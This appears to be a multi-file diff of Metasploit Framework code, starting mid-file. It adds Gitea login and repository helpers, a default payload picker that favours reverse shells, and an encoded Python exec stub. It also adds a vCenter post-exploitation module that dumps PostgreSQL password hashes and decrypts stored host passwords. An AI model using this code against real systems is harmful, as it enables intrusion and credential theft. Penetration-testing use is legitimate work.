csrf = gitea_get_csrf(res)
raise Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError.new unless csrf
res = send_request_cgi(
'method' => 'POST',
'uri' => gitea_url_login,
'vars_post' => gitea_helper_login_post_data(user, pass, csrf),
'keep_cookies' => true
)
raise Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError.new if res&.code != 302
store_valid_credential(user: user, private: pass)
return res
end
end
@@ -0,0 +1,100 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Gitea::Repository
# performs a gitea repository creation
#
# @param name [String] Repository name
# @param timeout [Integer] The maximum number of seconds to wait before the
# request times out
# @return [uid,nil] the repository uid as a single string on successful
# creation, nil or raise RepositoryError and CsrfError otherwise
def gitea_create_repo(name, timeout = 20)
res = send_request_cgi({
'uri' => gitea_url_repo_create,
'keep_cookies' => true
}, timeout)
return nil unless res
uid = gitea_get_repo_uid(res)
raise Msf::Exploit::Remote::HTTP::Gitea::Error::RepositoryError.new('Unable to get repo uid') unless uid
csrf = gitea_get_csrf(res)
raise Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError.new unless csrf
res = send_request_cgi(
'method' => 'POST',
'uri' => gitea_url_repo_create,
'vars_post' => gitea_helper_repo_create_post_data(name, uid, csrf),
'keep_cookies' => true
)
raise Msf::Exploit::Remote::HTTP::Gitea::Error::RepositoryError.new('Unable to create repo') if res&.code != 302
return uid
end
# performs a gitea repository migration
#
# @param name [String] Repository name
# @param name [String] Repository uid
# @param timeout [Integer] The maximum number of seconds to wait before the
# request times out
# @return [Rex::Proto::Http::Response, MigrationError] the HTTP response
# object on successful migration, raise MigrationError otherwise
def gitea_migrate_repo(name, uid, url, token, timeout = 20)
res = send_request_cgi({
'uri' => gitea_url_repo_migrate,
'keep_cookies' => true
}, timeout)
return nil unless res
uri = gitea_get_service_type_uri(res)
raise Msf::Exploit::Remote::HTTP::Gitea::Error::WebError.new('Unable to get service type uri') unless uri
service = Rack::Utils.parse_query(URI.parse(uri).query)['service_type']
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, uri),
'keep_cookies' => true
)
csrf = gitea_get_csrf(res)
raise Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError.new unless csrf
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'vars_post' => gitea_helper_repo_migrate_post_data(name, uid, service, url, token, csrf),
'keep_cookies' => true
)
if res&.code != 302 # possibly triggered by the [migrations] settings
err = res&.get_html_document&.at('//div[contains(@class, flash-error)]/p')&.text
raise Msf::Exploit::Remote::HTTP::Gitea::Error::MigrationError.new(err)
end
return res
end
# performs a gitea repository deletion
#
# @param path [String] Repository path (/username/reponame)
# @param timeout [Integer] The maximum number of seconds to wait before the
# request times out
# @return [Rex::Proto::Http::Response] the HTTP response object or raise
# CsrfError otherwise
def gitea_remove_repo(path, timeout = 20)
uri = gitea_url_repo_settings(path)
res = send_request_cgi({
'uri' => uri,
'keep_cookies' => true
}, timeout)
return nil unless res
return res if res&.code == 404 # return res if 404 to handling cleanup
csrf = gitea_get_csrf(res)
raise Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError.new unless csrf
name = path.split('/').last
send_request_cgi(
'method' => 'POST',
'uri' => uri,
'vars_post' => gitea_helper_repo_remove_post_data(name, csrf),
'keep_cookies' => true
)
end
end
@@ -0,0 +1,31 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Gitea::URIs
# Returns the Gitea Login URL
#
# @return [String] Gitea Login URL
def gitea_url_login
normalize_uri(target_uri.path, 'user', 'login')
end
# Returns the Gitea Create repository URL
#
# @return [String] Gitea Create repository URL
def gitea_url_repo_create
normalize_uri(target_uri.path, 'repo', 'create')
end
# Returns the Gitea Migrate repository URL
#
# @return [String] Gitea Migrate repository URL
def gitea_url_repo_migrate
normalize_uri(target_uri.path, 'repo', 'migrate')
end
# Returns the Gitea Settings repository URL
#
# @return [String] Gitea Settings repository URL
def gitea_url_repo_settings(path)
normalize_uri(target_uri.path, path, 'settings')
end
end
@@ -0,0 +1,34 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Gitea::Version
# Powered by Gitea Version
GITEA_VERSION_PATTERN = 'Gitea Version: (?<version>[\da-zA-Z.]+)'.freeze
# Extracts the Gitea version information from base path
#
# @param res [Rex::Proto::Http::Response] Rex HTTP Response object
# @return [String,nil] gitea version if found, nil otherwise
def gitea_version(res = nil)
# detect version from /
version = gitea_version_helper(
normalize_uri(target_uri.path),
/#{GITEA_VERSION_PATTERN}/,
res
)
return version
end
def gitea_version_helper(url, regex, res)
res ||= send_request_cgi({
'method' => 'GET',
'uri' => url,
'keep_cookies' => true
})
if res
match = res.body.match(regex)
return match[1] if match
end
nil
end
end
@@ -69,7 +69,7 @@ module Msf::Exploit::Remote::HTTP::NagiosXi::Install
#
# @param cookies [String] cookies required to visit the license agreement page
# @param nsp [String] nsp token required to visit the license agreement page
# @return [nil, Array] nil if signing the the license agreement succeeds, otherwise Array containing an error code and an error message
# @return [nil, Array] nil if signing the license agreement succeeds, otherwise Array containing an error code and an error message
def sign_license_agreement(cookies, nsp)
if cookies.blank?
return [2, 'Cannot sign the license agreement. The provided cookies are empty or nil.']
+53 -1
View File
@@ -142,7 +142,7 @@ module Msf
# Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes
case bind_result['resultCode']
when 0
print_good('Successfully bound to the LDAP server!')
vprint_good('Successfully bound to the LDAP server!')
when 1
fail_with(Msf::Exploit::Remote::Failure::NoAccess, "An operational error occurred, perhaps due to lack of authorization. The error was: #{bind_result['errorMessage'].strip}")
when 7
@@ -159,5 +159,57 @@ module Msf
fail_with(Msf::Exploit::Remote::Failure::Unknown, "Unknown error occurred whilst binding: #{bind_result['errorMessage'].strip}")
end
end
def validate_query_result!(query_result, filter)
if query_result.class != Hash
raise ArgumentError.new('Parameter to "validate_query_result!" function was not a Hash!')
end
# Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes
case query_result['resultCode']
when 0
vprint_status("Successfully queried #{filter}.")
when 1
# This is unknown as whilst we could fail on lack of authorization, this is not guaranteed with this error code.
# The user will need to inspect the error message to determine the root cause of the issue.
fail_with(Failure::Unknown, "An LDAP operational error occurred on #{filter}. It is likely the client requires authorization! The error was: #{query_result['errorMessage'].strip}")
when 2
fail_with(Failure::BadConfig, "The LDAP protocol being used by Metasploit isn't supported. The error was #{query_result['errorMessage'].strip}")
when 3
fail_with(Failure::TimeoutExpired, "The LDAP server returned a timeout response to the query #{filter}.")
when 4
fail_with(Failure::UnexpectedReply, "The LDAP query #{filter} was determined to result in too many entries for the LDAP server to return.")
when 11
fail_with(Failure::UnexpectedReply, "The LDAP server indicated that #{filter} hit some administrative limit within the server whilst the request was being processed.")
when 16
fail_with(Failure::NotFound, "The LDAP operation failed for #{filter} because the referenced attribute does not exist.")
when 18
fail_with(Failure::BadConfig, "The LDAP search with #{filter} failed because some matching is not supported for the target attribute type!")
when 32
fail_with(Failure::UnexpectedReply, "The LDAP search with #{filter} failed cause the operation targeted an entity within the base DN that does not exist.")
when 33
fail_with(Failure::BadConfig, "An attempt was made to deference an alias that didn't resolve properly with #{filter}.")
when 34
fail_with(Failure::BadConfig, 'The request included an invalid base DN entry.')
when 50
fail_with(Failure::NoAccess, 'The LDAP operation failed due to insufficient access rights.')
when 51
fail_with(Failure::UnexpectedReply, 'The LDAP operation failed because the server is too busy to perform the request.')
when 52
fail_with(Failure::UnexpectedReply, 'The LDAP operation failed because the server is not currently available to process the request.')
when 53
fail_with(Failure::UnexpectedReply, 'The LDAP operation failed because the server is unwilling to perform the request.')
when 64
fail_with(Failure::Unknown, "The LDAP operation failed due to a naming violation when using #{filter}.")
when 65
fail_with(Failure::Unknown, "The LDAP operation failed due to an object class violation when using #{filter}.")
else
if query_result['errorMessage'].blank?
fail_with(Failure::Unknown, "Query #{filter} failed but no error message was returned!")
else
fail_with(Failure::Unknown, "Query #{filter} failed with error: #{query_result['errorMessage'].strip}")
end
end
end
end
end
+9 -2
View File
@@ -42,8 +42,15 @@ module Msf::Modules::Metadata::Search
res = {}
terms.each do |term|
keyword, search_term = term.split(":", 2)
unless search_term
# Split it on the `:`, with the part before the first `:` going into keyword, the part after first `:`
# but before any later instances of `:` going into search_term, and the characters after the second
# `:` or later in the string going into _excess to be ignored.
#
# Example is `use exploit/linux/local/nested_namespace_idmap_limit_priv_esc::a`
# which would make keyword become `exploit/linux/local/nested_namespace_idmap_limit_priv_esc`,
# search_term become blank, and _excess become "a".
keyword, search_term, _excess = term.split(":", 3)
if search_term.blank?
search_term = keyword
keyword = 'text'
end
+60
View File
@@ -463,6 +463,66 @@ class Payload < Msf::Module
return nops
end
# Select a reasonable default payload and minimally configure it
# @param [Msf::Module] mod
def self.choose_payload(mod)
compatible_payloads = mod.compatible_payloads(
excluded_platforms: ['Multi'] # We don't want to select a multi payload
).map(&:first)
# XXX: Determine LHOST based on global LHOST, RHOST or an arbitrary internet address
lhost = mod.datastore['LHOST'] || Rex::Socket.source_address(mod.datastore['RHOST'] || '50.50.50.50')
configure_payload = lambda do |payload|
if mod.datastore.is_a?(Msf::DataStoreWithFallbacks)
payload_defaults = { 'PAYLOAD' => payload }
# Set LHOST if this is a reverse payload
if payload.index('reverse')
payload_defaults['LHOST'] = lhost
end
mod.datastore.import_defaults_from_hash(payload_defaults, imported_by: 'choose_payload')
else
mod.datastore['PAYLOAD'] = payload
# Set LHOST if this is a reverse payload
if payload.index('reverse')
mod.datastore['LHOST'] = lhost
end
end
payload
end
# If there is only one compatible payload, return it immediately
if compatible_payloads.length == 1
return configure_payload.call(compatible_payloads.first)
end
# XXX: This approach is subpar, and payloads should really be ranked!
preferred_payloads = [
# These payloads are generally reliable and common enough in practice
'/meterpreter/reverse_tcp',
'/shell/reverse_tcp',
'cmd/unix/reverse_bash',
'cmd/unix/reverse_netcat',
'cmd/windows/powershell_reverse_tcp',
# Fall back on a generic payload to autoselect a specific payload
'generic/shell_reverse_tcp',
'generic/shell_bind_tcp'
]
# XXX: This is not efficient in the slightest
preferred_payloads.each do |type|
payload = compatible_payloads.find { |name| name.end_with?(type) }
next unless payload
return configure_payload.call(payload)
end
nil
end
#
# A placeholder stub, to be overriden by mixins
#
+3 -2
View File
@@ -12,8 +12,9 @@ module Msf::Payload::Python
# @return [String] Full python stub to execute the command.
#
def self.create_exec_stub(cmd)
# Base64 encoding is required in order to handle Python's formatting
b64_stub = "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(cmd)}')[0]))"
# Encoding is required in order to handle Python's formatting
payload = Rex::Text.encode_base64(Rex::Text.zlib_deflate(cmd))
b64_stub = "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{payload}')[0])))"
b64_stub
end
+1 -1
View File
@@ -63,7 +63,7 @@ module Payload::Python::ReverseHttp
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
# Generate the short default URL if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
if self.available_space.nil? || dynamic_size? || required_space > self.available_space
uri_req_len = 30
end
+1 -1
View File
@@ -46,7 +46,7 @@ module Msf
def valid?(value, check_empty: nil)
return false unless super
return false unless File.exist?(File.expand_path(value)) # no memory: locations
return false unless value && File.file?(File.expand_path(value)) # no memory: locations
begin
self.class.assert_compatible(Rex::PeParsey::Pe.new_from_file(value, true), @arch)
+308
View File
@@ -0,0 +1,308 @@
# -*- coding: binary -*-
module Msf
class Post
module Vcenter
module Database
include Msf::Post::File
def pgpass_file
'/root/.pgpass'
end
def psql_bin
'/opt/vmware/vpostgres/current/bin/psql'
end
#
# Returns a array of hashes of the .pgpass file
# @param location [String] where the file is located. defaults to /root/.pgpass
# @return [Array] array of hashes of the file contents, nil on error
#
def process_pgpass_file(location = pgpass_file)
return nil unless file_exist?(location)
contents = read_file(location)
return nil if contents.nil?
return nil if contents.empty?
output = []
contents.each_line(chomp: true) do |line|
# file format hostname:port:database:username:password
# https://www.postgresql.org/docs/current/libpq-pgpass.html
next unless line.include?(':') # attempt to do a little quality control
sections = line.split(':')
o = {}
o['hostname'] = sections[0].strip
o['port'] = sections[1].strip
o['database'] = sections[2]
o['username'] = sections[3]
o['password'] = sections[4]
o['port'] = '5432' if o['port'] == '*'
output.append(o)
end
output
end
#
# Returns a list of postgres users and password hashes from the database
# @param pg_password [String] postgress password
# @param vcdb_user [String] virtual center database username
# @param vcdb_name [String] virtual center database name
# @return [Array] list of hash tables where each table is a user, nil on error
#
def query_pg_shadow_values(pg_password, vcdb_user, vcdb_name)
return nil unless command_exists? psql_bin
output = []
postgres_users = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT usename, passwd FROM pg_shadow;' -P pager -A -t")
return nil if postgres_users.nil?
postgres_users = postgres_users.split("\n")
return nil unless postgres_users.first
postgres_users.each do |postgres_user|
row_data = postgres_user.split('|')
next if row_data.length < 2 # shoudld always be 2 based on query, but this will catch 'command not found' or other things like that
user = {
'user' => row_data[0],
'password_hash' => row_data[1]
}
output.append(user)
end
output
end
#
# Returns a list of postgres users and password hashes from the database
# @param pg_password [String] postgress password
# @param vcdb_user [String] virtual center database username
# @param vcdb_name [String] virtual center database name
# @return [Array] list of hash tables where each table is a user, nil on error
#
def query_pg_shadow_values(pg_password, vcdb_user, vcdb_name)
return nil unless command_exists? psql_bin
output = []
postgres_users = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT usename, passwd FROM pg_shadow;' -P pager -A -t")
return nil if postgres_users.nil?
postgres_users = postgres_users.split("\n")
return nil unless postgres_users.first
postgres_users.each do |postgres_user|
row_data = postgres_user.split('|')
next if row_data.length < 2 # shoudld always be 2 based on query, but this will catch 'command not found' or other things like that
user = {
'user' => row_data[0],
'password_hash' => row_data[1]
}
output.append(user)
end
output
end
#
# Returns a list of vpx users and password hashes from the database
# @param pg_password [String] postgress password
# @param vcdb_user [String] virtual center database username
# @param vcdb_name [String] virtual center database name
# @param symkey [String] string of they symkey
# @return [Array] list of hash tables where each table is a user, nil on error
#
def query_vpx_creds(pg_password, vcdb_user, vcdb_name, symkey = nil)
return nil unless command_exists? psql_bin
output = []
vpx_creds = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT user_name, password, local_ip_address, ip_address, dns_name FROM VPX_HOST;' -P pager -A -t")
return nil if vpx_creds.nil?
vpx_creds = vpx_creds.split("\n")
return nil unless vpx_creds.first
vpx_creds.each do |vpx_user|
row_data = vpx_user.split('|')
next if row_data.length < 2 # shoudld always be 2 based on query, but this will catch 'command not found' or other things like that
user = {
'user' => row_data[0],
'encrypted_password' => row_data[1],
'local_ip' => row_data[2],
'ip_address' => row_data[3],
'dns_name' => row_data[4]
}
unless symkey.nil?
# https://github.com/shmilylty/vhost_password_decrypt/blob/main/decrypt.py
# https://pentera.io/blog/information-disclosure-in-vmware-vcenter/
encrypted_password = row_data[1].gsub('*', '').strip
encrypted_password = Base64.decode64(encrypted_password)
encrypted_password = encrypted_password.scan(/.{16}/)
iv = encrypted_password.shift
encrypted_password = encrypted_password.join
begin
cipher = OpenSSL::Cipher.new('aes-256-cbc')
cipher.decrypt
cipher.key = [symkey.strip].pack('H*')
cipher.iv = iv
user['decrypted_password'] = cipher.update(encrypted_password) + cipher.final
rescue OpenSSL::Cipher::CipherError => e
vprint_error("Unable to decrypt password for #{user} due to OpenSSL Cipher Error: #{e}")
end
end
output.append(user)
end
output
end
#
# A helper function to return the command line statement string to connect to the postgress server
# @param pg_password [String] postgress password
# @param vcdb_user [String] virtual center database username
# @param vcdb_name [String] virtual center database name
# @param vcdb_host [String] virtual center hostname. Defaults to 'localhost'
# @return [String] a string to run on command line
#
def postgress_connect(pg_password, vcdb_user, vcdb_name, vcdb_host = 'localhost')
# should come in wrapped in quotes, but if not wrap
unless pg_password.start_with?("'") && pg_password.end_with?("'")
pg_password = "'#{pg_password}'"
end
"PGPASSWORD=#{pg_password} #{psql_bin} -h '#{vcdb_host}' -U '#{vcdb_user}' -d '#{vcdb_name}'"
end
#
# Returns a list of vpc customization contents
# @param pg_password [String] postgress password
# @param vcdb_user [String] virtual center database username
# @param vcdb_name [String] virtual center database name
# @return [Hash] where the customization name is the key and value is the parsed xml doc, nil on error
#
def get_vpx_customization_spec(pg_password, vcdb_user, vcdb_name)
return nil unless command_exists? psql_bin
output = {}
vpx_customization_specs = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT DISTINCT name FROM vc.vpx_customization_spec;' -P pager -A -t")
return nil if vpx_customization_specs.nil?
vpx_customization_specs = vpx_customization_specs.split("\n")
return nil unless vpx_customization_specs.first
vpx_customization_specs.each do |spec|
xml = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c \"SELECT body FROM vpx_customization_spec WHERE name = '#{spec}\';\" -P pager -A -t").to_s.strip.gsub("\r\n", '').gsub("\n", '').gsub(/>\s*/, '>').gsub(/\s*</, '<')
next if xml.nil?
begin
xmldoc = Nokogiri::XML(xml) do |config|
config.options = Nokogiri::XML::ParseOptions::STRICT | Nokogiri::XML::ParseOptions::NONET
end
rescue Nokogiri::XML::SyntaxError
print_bad("Unable to read XML from #{spec}")
next
end
output[spec] = xmldoc
end
output
end
#
# Returns a list of virtual machines located on the server
# @param pg_password [String] postgress password
# @param vcdb_user [String] virtual center database username
# @param vcdb_name [String] virtual center database name
# @param vc_sym_key [String] sym key from virtual center
# @return [Array] list of hash tables where each table is a user, nil on error
#
def get_vpx_vms(pg_password, vcdb_user, vcdb_name, _vc_sym_key)
return nil unless command_exists? psql_bin
output = []
vm_rows = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT vmid, name, configfilename, guest_state, is_template FROM vpxv_vms;' -P pager -A -t")
return nil if vm_rows.nil?
vm_rows = vm_rows.split("\n")
return nil unless vm_rows.first
vm_rows.each do |vm_row|
row_data = vm_row.split('|')
next if row_data.length < 5 # shoudld always be 5 based on query, but this will catch 'command not found' or other things like that
vm = {
'vmid' => row_data[0],
'name' => row_data[1],
'configfilename' => row_data[3],
'guest_state' => row_data[4],
'is_template' => row_data[5]
}
output.append(vm)
end
output
end
#
# Returns a list of vpc customization contents
# @param pg_password [String] postgress password
# @param vcdb_user [String] virtual center database username
# @param vcdb_name [String] virtual center database name
# @param vc_sym_key [String] sym key from virtual center
# @return [Array] list of hash tables where each table is a user, nil on error
#
def get_vpx_users(pg_password, vcdb_user, vcdb_name, vc_sym_key)
return nil unless command_exists? psql_bin
output = []
vpxuser_rows = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT dns_name, ip_address, user_name, password FROM vc.vpx_host ORDER BY dns_name ASC;' -P pager -A -t")
return nil if vpxuser_rows.nil?
vpxuser_rows = vpxuser_rows.split("\n")
return nil unless vpxuser_rows.first
vpxuser_rows.each do |vpxuser_row|
row_data = vpxuser_row.split('|')
next if row_data.length < 4 # shoudld always be 4 based on query, but this will catch 'command not found' or other things like that
user = {
'fqdn' => row_data[0],
'ip' => row_data[1],
'user' => row_data[2]
}
vpxuser_secret_b64 = row_data[3].gsub('*', '')
user['password'] = vpx_aes_decrypt(vpxuser_secret_b64, vc_sym_key).gsub('\"', '"')
output.append(user)
end
output
end
#
# helper function to decrypt passwords stored in the pg database
# @param b64 [String] base64 string of the password exported from postgres
# @param vc_sym_key [String] sym key from virtual center
# @return [String] the decrypted password, nil on error
def vpx_aes_decrypt(b64, vc_sym_key)
# https://www.pentera.io/wp-content/uploads/2022/03/Sensitive-Information-Disclosure_VMware-vCenter_f.pdf
secret_bytes = Base64.strict_decode64(b64)
iv = secret_bytes[0, 16]
ciphertext = secret_bytes[16, 64]
decipher = OpenSSL::Cipher.new('aes-256-cbc')
decipher.decrypt
decipher.iv = iv
decipher.padding = 1
decipher.key = vc_sym_key
return (decipher.update(ciphertext) + decipher.final).delete("\000")
rescue StandardError => e
elog('Error performing vpx_aes_decrypt', error: e)
''
end
end
end
end
end
+10 -143
View File
@@ -5,6 +5,7 @@ module Msf
module Vcenter
module Vcenter
include Msf::Post::File
include Msf::Post::Linux::Priv
def manifest_file
'/opt/vmware/etc/appliance-manifest.xml'
@@ -46,6 +47,10 @@ module Msf
'/opt/vmware/vpostgres/current/bin/psql'
end
def vcd_properties_file
'/etc/vmware-vpx/vcdb.properties'
end
#
# Function to determine if a string is a valid FQDN or not
# @param fqdn [String] the string to check if it is a valid FQDN or not
@@ -348,160 +353,22 @@ module Msf
nil
end
#
# A helper function to return the command line statement string to connect to the postgress server
# @param pg_password [String] postgress password
# @param vcdb_user [String] virtual center database username
# @param vcdb_name [String] virtual center database name
# @param vcdb_host [String] virtual center hostname. Defaults to 'localhost'
# @return [String] a string to run on command line
#
def postgress_connect(pg_password, vcdb_user, vcdb_name, vcdb_host = 'localhost')
# should come in wrapped in quotes, but if not wrap
unless pg_password.start_with?("'") && pg_password.end_with?("'")
pg_password = "'#{pg_password}'"
end
"PGPASSWORD=#{pg_password} #{psql_bin} -h '#{vcdb_host}' -U '#{vcdb_user}' -d '#{vcdb_name}'"
end
#
# Returns a list of vpc customization contents
# @param pg_password [String] postgress password
# @param vcdb_user [String] virtual center database username
# @param vcdb_name [String] virtual center database name
# @return [Hash] where the customization name is the key and value is the parsed xml doc, nil on error
#
def get_vpx_customization_spec(pg_password, vcdb_user, vcdb_name)
return nil unless command_exists? psql_bin
output = {}
vpx_customization_specs = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT DISTINCT name FROM vc.vpx_customization_spec;' -P pager -A -t")
return nil if vpx_customization_specs.nil?
vpx_customization_specs = vpx_customization_specs.split("\n")
return nil unless vpx_customization_specs.first
vpx_customization_specs.each do |spec|
xml = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c \"SELECT body FROM vpx_customization_spec WHERE name = '#{spec}\';\" -P pager -A -t").to_s.strip.gsub("\r\n", '').gsub("\n", '').gsub(/>\s*/, '>').gsub(/\s*</, '<')
next if xml.nil?
begin
xmldoc = Nokogiri::XML(xml) do |config|
config.options = Nokogiri::XML::ParseOptions::STRICT | Nokogiri::XML::ParseOptions::NONET
end
rescue Nokogiri::XML::SyntaxError
print_bad("Unable to read XML from #{spec}")
next
end
output[spec] = xmldoc
end
output
end
#
# helper function to decrypt passwords stored in the pg database
# @param b64 [String] base64 string of the password exported from postgres
# @param vc_sym_key [String] sym key from virtual center
# @return [String] the decrypted password, nil on error
def vpx_aes_decrypt(b64, vc_sym_key)
# https://www.pentera.io/wp-content/uploads/2022/03/Sensitive-Information-Disclosure_VMware-vCenter_f.pdf
secret_bytes = Base64.strict_decode64(b64)
iv = secret_bytes[0, 16]
ciphertext = secret_bytes[16, 64]
decipher = OpenSSL::Cipher.new('aes-256-cbc')
decipher.decrypt
decipher.iv = iv
decipher.padding = 1
decipher.key = vc_sym_key
return (decipher.update(ciphertext) + decipher.final).delete("\000")
rescue StandardError => e
elog('Error performing vpx_aes_decrypt', error: e)
''
end
#
# Returns a list of vpc customization contents
# @param pg_password [String] postgress password
# @param vcdb_user [String] virtual center database username
# @param vcdb_name [String] virtual center database name
# @param vc_sym_key [String] sym key from virtual center
# @return [Array] list of hash tables where each table is a user, nil on error
#
def get_vpx_users(pg_password, vcdb_user, vcdb_name, vc_sym_key)
return nil unless command_exists? psql_bin
output = []
vpxuser_rows = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT dns_name, ip_address, user_name, password FROM vc.vpx_host ORDER BY dns_name ASC;' -P pager -A -t")
return nil if vpxuser_rows.nil?
vpxuser_rows = vpxuser_rows.split("\n")
return nil unless vpxuser_rows.first
vpxuser_rows.each do |vpxuser_row|
row_data = vpxuser_row.split('|')
next if row_data.length < 4 # shoudld always be 4 based on query, but this will catch 'command not found' or other things like that
user = {
'fqdn' => row_data[0],
'ip' => row_data[1],
'user' => row_data[2]
}
vpxuser_secret_b64 = row_data[3].gsub('*', '')
user['password'] = vpx_aes_decrypt(vpxuser_secret_b64, vc_sym_key).gsub('\"', '"')
output.append(user)
end
output
end
#
# Returns a list of virtual machines located on the server
# @param pg_password [String] postgress password
# @param vcdb_user [String] virtual center database username
# @param vcdb_name [String] virtual center database name
# @param vc_sym_key [String] sym key from virtual center
# @return [Array] list of hash tables where each table is a user, nil on error
#
def get_vpx_vms(pg_password, vcdb_user, vcdb_name, _vc_sym_key)
return nil unless command_exists? psql_bin
output = []
vm_rows = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT vmid, name, configfilename, guest_state, is_template FROM vpxv_vms;' -P pager -A -t")
return nil if vm_rows.nil?
vm_rows = vm_rows.split("\n")
return nil unless vm_rows.first
vm_rows.each do |vm_row|
row_data = vm_row.split('|')
next if row_data.length < 5 # shoudld always be 5 based on query, but this will catch 'command not found' or other things like that
vm = {
'vmid' => row_data[0],
'name' => row_data[1],
'configfilename' => row_data[3],
'guest_state' => row_data[4],
'is_template' => row_data[5]
}
output.append(vm)
end
output
end
#
# Returns a hash table of the vcdb.properties file
# @param location [String] where the file is located. defaults to /etc/vmware-vpx/vcdb.properties
# @return [Hash] hash of the file contents, nil on error
#
def process_vcdb_properties_file(location = '/etc/vmware-vpx/vcdb.properties')
def process_vcdb_properties_file(location = vcd_properties_file)
return nil unless file_exist?(location)
contents = read_file(location)
return nil if contents.nil?
if location == vcd_properties_file && is_root? == false
print_good('Exploited CVE-2022-22948 to read #{vcd_properties_file}')
end
output = {}
contents.split("\n").each do |line|
contents.each_line(chomp: true) do |line|
next unless line.include?('=') # attempt to do a little quality control
line = line.split('=')
+2 -2
View File
@@ -41,7 +41,7 @@ module Msf::RPC::JSON
# @param symbol [Symbol] the symbol for the method called
# @param args [Array] any positional arguments passed to the method
# @param keyword_args [Hash] any keyword arguments passed to the method
# @returns [Msf::RPC::JSON::Request] an EM::Deferrable for the RPC method invocation.
# @return [Msf::RPC::JSON::Request] an EM::Deferrable for the RPC method invocation.
def method_missing(symbol, *args, **keyword_args, &block)
# assemble method parameters
if !args.empty? && !keyword_args.empty?
@@ -60,7 +60,7 @@ module Msf::RPC::JSON
# Asynchronously processes the RPC method invocation.
# @param method [Symbol] the method
# @param params [Array, Hash] any arguments passed to the method
# @returns [Msf::RPC::JSON::Request] an EM::Deferrable for the RPC method invocation.
# @return [Msf::RPC::JSON::Request] an EM::Deferrable for the RPC method invocation.
def process_call_async(method, params)
req = Request.new(@uri,
api_token: @api_token,
+5 -8
View File
@@ -82,12 +82,9 @@ module Msf::RPC::JSON
# Validate and execute the JSON-RPC request.
# @param request [Hash] the JSON-RPC request
# @returns [RpcCommand] an RpcCommand for the specified version
# @raise [InvalidParams] ArgumentError occurred during execution.
# @raise [ApplicationServerError] General server-error wrapper around an
# Msf::RPC::Exception that occurred during execution.
# @returns [Hash] JSON-RPC response that encapsulates the RPC result
# if successful; otherwise, a JSON-RPC error response.
# @raise [ApplicationServerError] General server-error wrapper around an Msf::RPC::Exception that occurred during execution.
# @return [Hash, nil] JSON-RPC response that encapsulates the RPC result, or Nil if a Notification request was sent.
def process_request(request)
begin
if !validate_rpc_request(request)
@@ -123,7 +120,7 @@ module Msf::RPC::JSON
# Validate the JSON-RPC request.
# @param request [Hash] the JSON-RPC request
# @returns [Boolean] true if the JSON-RPC request is valid; otherwise, false.
# @return [Boolean] true if the JSON-RPC request is valid; otherwise, false.
def validate_rpc_request(request)
# validate request is an object
return false unless request.is_a?(Hash)
@@ -168,7 +165,7 @@ module Msf::RPC::JSON
# Create a JSON-RPC success response.
# @param result [Object] the RPC method's return value
# @param request [Hash] the JSON-RPC request
# @returns [Hash] JSON-RPC success response.
# @return [Hash] JSON-RPC success response.
def self.create_success_response(result, request = nil)
response = {
# A String specifying the version of the JSON-RPC protocol.
@@ -188,7 +185,7 @@ module Msf::RPC::JSON
# Create a JSON-RPC error response.
# @param error [RpcError] a RpcError instance
# @param request [Hash] the JSON-RPC request
# @returns [Hash] JSON-RPC error response.
# @return [Hash] JSON-RPC error response.
def self.create_error_response(error, request = nil)
response = {
# A String specifying the version of the JSON-RPC protocol.
+2 -2
View File
@@ -6,7 +6,7 @@ module Msf::RPC::JSON
# @param dispatchers [Hash] hash of version Symbol - Msf::RPC::JSON::Dispatcher object pairs
# @param version [Symbol] the RPC version
# @param framework [Msf::Simple::Framework] Framework wrapper instance
# @returns [Msf::RPC::JSON::Dispatcher] an RPC Dispatcher for the specified version
# @return [Msf::RPC::JSON::Dispatcher] an RPC Dispatcher for the specified version
def get_dispatcher(dispatchers, version, framework)
unless dispatchers.key?(version)
dispatchers[version] = create_dispatcher(version, framework)
@@ -18,7 +18,7 @@ module Msf::RPC::JSON
# Create an RPC Dispatcher composed of an RpcCommand for the provided version.
# @param version [Symbol] the RPC version
# @param framework [Msf::Simple::Framework] Framework wrapper instance
# @returns [Msf::RPC::JSON::Dispatcher] an RPC Dispatcher for the specified version
# @return [Msf::RPC::JSON::Dispatcher] an RPC Dispatcher for the specified version
def create_dispatcher(version, framework)
command = RpcCommandFactory.create(version, framework)
dispatcher = Dispatcher.new(framework)
+1 -1
View File
@@ -178,7 +178,7 @@ module Msf::RPC::JSON
# @param response [Hash] A response hash.
# @param symbolize_names [Boolean] If true, symbols are used for the names (keys) when
# processing JSON objects; otherwise, strings are used. Default: true
# @returns [ErrorResponse] ErrorResponse object that represents the response hash.
# @return [ErrorResponse] ErrorResponse object that represents the response hash.
def self.parse(response, symbolize_names: true)
id_key = symbolize_names ? :id : :id.to_s
error_key = symbolize_names ? :error : :error.to_s
